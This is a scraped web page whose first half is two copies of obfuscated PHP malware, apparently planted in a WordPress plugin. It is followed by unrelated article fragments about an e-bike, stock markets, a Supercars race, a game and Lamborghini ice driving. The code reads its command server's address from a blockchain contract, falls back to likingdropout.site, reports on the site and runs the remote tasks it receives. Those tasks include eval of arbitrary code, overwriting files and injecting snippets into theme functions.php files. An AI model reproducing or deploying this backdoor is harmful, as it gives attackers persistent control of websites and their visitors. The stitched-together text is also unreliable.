// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});

Enlarge (credit: Eric Bangeman)
As the managing editor of Ars Technica, one of my duties is to monitor the daily torrent of news tips and PR emails. The overwhelming majority of them is deleted after a glance, and the news tips and story ideas are passed along to the appropriate writer. Sometimes a product announcement will catch my eye, and I will follow up. Once in a blue moon, I’ll say, “please send me one so that I may review it.” And that’s how I ended up riding an electric bike around the Chicago suburbs for two weeks.
I’m one of the hardcore cyclists at Ars, along with Jay Timmer and his new-as-of-last-fall road bike as well as copyeditor Kerry Staurseth. I love cycling, and it was a major factor in my dropping 120lb over a 12-month period starting in the summer of 2009. My daily rider/errand-runner is a 1998 Gary Fisher Marlin mountain bike. For longer rides, I use my 2009 Trek XO2 cyclecross bike. I’ve made a few modifications to it, including removing the bumpy cyclecross tires and swapping out the front 46-tooth chainring for a 50-tooth one. I went with a cross bike over a road bike because I’m still a Clydesdale, and I like the slightly longer wheelbase of a cross bike. I’ve also briefly owned a 2011 Trek Madone 5.9, which I sold not long after I bought it due to severely screwing up my right knee.
But electric bicycles—e-bikes—are new territory for me. Broadly speaking, there are two basic options in e-bike land: power-on-demand and pedal-assist. With the former, the rider can control the speed with a throttle instead of just pedaling. Think moped but with an electric motor instead of internal combustion. Pedal-assist, by contrast, requires the rider to do some of the work. The electric motor won’t engage unless the rider is pedaling.
Read 14 remaining paragraphs | Comments
]]>BEARS sound clever; bulls make money. This piece of financial acumen, imparted by a trader to a colleague, is hard to beat for brevity. It also makes a good point. There is something about market pessimism that endows bears with an aura of wisdom that is not always deserved. The cautious sound clever because they appear to have weighed the odds. Optimists seem heedless by comparison. Yet it is only by taking on risk that investors can hope to make money.
So it is telling that even bulls are now sounding cautious. The economy and stockmarket in America have had a good run, after all. The expansion, which started in 2009, is now the second-longest on record. Unemployment is low. The Federal Reserve is hawkish. This mix tends to kill a bull market sooner rather than later. The question is how much further stocks can rise. Is there still time for bulls to make money? Or will being a bear save you money as well as make you sound clever?
In this debate, each side has a distinctive way of…
]]>Shane van Gisbergen held off Red Bull Holden Racing teammate and Saturday winner Jamie Whincup to take out the Townsville 400 and cut Scott McLaughlin’s championship lead to just 121 points.
On a weekend of domination for Red Bull, van Gisbergen won a frantic final five lap sprint prompted by a safety car to land his first win since Adelaide.
“It is awesome,’’ van Gisbergen said.
“Our cars have just been awesome all weekend. It is all really cool for the car No. 97 team and we have turned it all around in qualifying and racing. We came out on top.’’
Whincup’s runner-up finish leaves him just behind Holden’s David Reynolds in fourth place in the title race in a successful weekend for Red Bull.
“And the team getting a double one-two is just awesome,’’ van Gisbergen said.
“I am already looking forward to the next race here because Townsville is just an cool place and an awesome track.’’
Van Gisbergen gave himself the winning shot when he blasted his way around the Townsville street track to score an emphatic top-10 shootout win.
The 2016 champion clocked a 1.12.10 to beat teammate Whincup by two tenths in an all-out attack that announced Red Bull as qualifying force after a season of struggle with one-lap speed.
“We’ve made a huge step forward and it feels really awesome in qualifying trim,” van Gisbergen said.
“All three of us [Triple Eight drivers] were in the top 10 and just privileged to drive these cars.
“The car was amazing on that lap. I drove it quite smoothly, it was hooked up.”
McLaughlin’s car was not so good.
In a rare miss for the V8 qualifying king, McLaughlin finished seventh in the shootout to leave himself with a 70-lap rescue mission.
Out to make McLaughlin pay, van Gisbergen shot off the line to claim the race lead when the second instalment of the Townsville 400 launched to life.
While it was a clean getaway for one Red Bull, Whincup was forced back to fourth after being Reynolds and Rick Kelly launched a start-line blitz.
“To cut a long story short for me it was just a poor start,’’ Whincup said.
“That put us a long way back. They was also something going on in the front end of the car. The kerbs are very aggressive here and I may have hit one.’’
After he slipped to 10th following a slow start, McLaughlin stopped on lap 13 in an attempt to put himself back in contention with the undercut.
Whincup covered the move a lap later.
But it soon became a battle of the bulls with van Gisbergen winning by less than a second.
“I pushed Shane hard at the end,’’ Whincup said.
“There were no team orders and if there was a gap I would have taken it.’’
McLaughlin finished third after the team’s strategic masterstroke saved him from his slow start.
“I didn’t do anything,’’ McLaughlin said.
“All the guys and gals in the team gave me an absolute awesome strategy and the tyre life was excellent.
“It just sucks that I didn’t get the best start and I lost a few places when we had a really fast car.’’
Watch every 2018 Virgin Australia Supercars Championship practice, qualifying session & race ad-break free on FOX SPORTS. SIGN UP NOW >
Grotoro is all about being a bull and charging into your buddies, knocking them for a loop. However, it’s hard to get much traction in space without some form of thruster, but luckily, a hint of indigestion is just what these amorphous animals need to get a little shot of propelling gas in this goofy multiplayer title.
Grotoro will have up to four players (or whatever number plus some AI animals) bouncing around an arena trying to clobber one another. You can fire off a shot of gas when you need to propel yourself forward, but just have to aim your shots so they’ll slam into someone. The bulls are made of a bouncy substance as well, though, so you can use this to bounce off the stage edges to pull off some tricky shots and thump your friends from an unexpected angle.
You don’t have to just sit and take their friend’s loving charge when they’re coming for you, too. A little shot of gas can get you out of harm’s way, or you can use it to ram them back, countering their charge. Just try not to think about how much gas is building up all around you from four bulls letting them fly at will to get around. This cute game gets a bit gross if you linger on those thoughts for long.
Grotoro is available for free on Itch.io and Steam. For more information on the game and Concrete Games, you can head to the developer’s site or follow them on Twitter, Itch.io, Facebook, YouTube, and Discord.
]]>
–
Generally speaking, it’s more fun to drive a slow car fast than a fast car slowly. But after spending a whole day driving Lamborghinis on a frozen lake about two hours northeast of Montreal, Quebec, we’ve had to rethink that. Indeed, driving a Lamborghini Huracán or an Aventador on a frozen lake in Canada or anywhere, honestly, will have you rethinking a lot of things—your financial goals, your aversion to cold, your life choices, the basic tenets of physics—but one thing seems truer than ever as you watch $ 4.5 million worth of angry-looking carbon-fiber and aluminum beasts charging around a curvy path carved into the snow, their bright Skittles-color paints contrasting strikingly against the snowy white backdrop: Rich folks really do have more fun.
–
We were there to participate in Lamborghini’s Winter Accademia, a two-day ice driving program which the company has hosted in certain global markets annually since 2012 that highlights the winter-friendliness of Lamborghini’s all-wheel-drive supercars—an understandably incredulous notion to the uninitiated. And here you thought the upcoming Urus was going to be the “winter Lamborghini.”
–
–
Heretofore held in Aspen, Colorado, the North American Winter Accademia was moved this year to this remote, privately owned Canadian property located about 75 miles from Porsche’s Camp4 Canada winter driving school on which we reported last year. Conveniently, the property features a luxurious timber-construction boutique hotel and a large lake called Lake Sacacomie that we were told while driving out on it (in an Audi Q7 with four cornfed men aboard) was covered by a three-foot-thick layer of solid ice—sufficient to hold us and the Lamborghinis and, apparently, the Q7.
–
The Winter Accademia complements the Track Accademia weekend programs that Lamborghini holds at actual racetracks during summer months, when a fishing boat might be bobbing in the waves in the exact place where I enjoyed a cup or two of hot cocoa on a cushy leather couch inside a tent as large as two Winnebagos. This year, Lamborghini brought its 572-hp Huracán coupe, the 730-hp Aventador S coupe, and the new 639-hp Huracán Performante that recently rocketed us from zero to 60 mph in 2.3 seconds and cornered at 1.11 g’s during its first C/D road test. But that was on dry pavement.
–
–
The lake might as well have been solid rock—very slippery but very solid rock—on which a well-groomed two-plus-mile pathway of varying width was plowed through the two-to-three-foot layer of snow that had accumulated on it since it froze over. The surface got slightly bumpy in places, but it was still ice—as hard, as slick, and as tricky to traverse as any patch of ice you’ve ever stumbled across before, only this patch was the size of a lake.
–
Climbing in and out of these frozen-lake-hugging supercars is tricky when there’s nothing but ice outside the car; we doubt Nancy Kerrigan herself could do so gracefully. How were we going to keep supercars with up to 730 horsepower going the right direction on a surface we could hardly walk across? Well, we couldn’t have if not for two things: special studded tires and expert guidance from Lamborghini’s professional Squadra Corse instructors, who rode shotgun at all times during our multiple 15-minute sessions.
–
–
Driving out to the first exercise, intended to teach participants to hold aggressive drift angles all the way around the aptly named Power Circle 360, we had no trouble driving the Huracán coupe normally. Once on the circle, we could initiate a drift by stabbing the brakes to transfer the weight forward while simultaneously dialing in opposite lock as the rear end quite quickly swung around. Within a second or two, we were back on the gas and straightening the wheel once again, maintaining the drift with all four wheels clawing in the same direction yet continuing to rotate around the circle. It took a few tries, but by the end even your Los Angeles-based author, who had never driven sideways in something so powerful and expensive before—at least not intentionally—felt he could have drifted around that circle all day long.
–
Then came a tail-wagging slalom course and sweeping pendulum-turn exercises in something even more powerful and expensive—and, as it turns out, even more fun while sideways—the $ 425K Aventador S. The slalom was relatively easy and got us acclimated to the Aventador’s larger-than-life character before we attempted to learn the pendulum turn, a.k.a. the Scandinavian Flick, in this much wider, much more powerful, much heavier car. What could possibly go wrong? Well, it took a bit longer to master, and fortunately, the course designers provided a much wider berth and more accommodating path for the flagship Lambo. But eventually we were flicking the big bull with relative ease, and it was time to move into the much lighter, quicker-reacting, track-focused $ 279K Huracán Performante for a few rather clumsy laps of the main track, which put to the test pretty much everything we’d done theretofore. We made it through a few laps without stuffing it into a snowbank, but there were a few close grazes. More practice required.
–
–
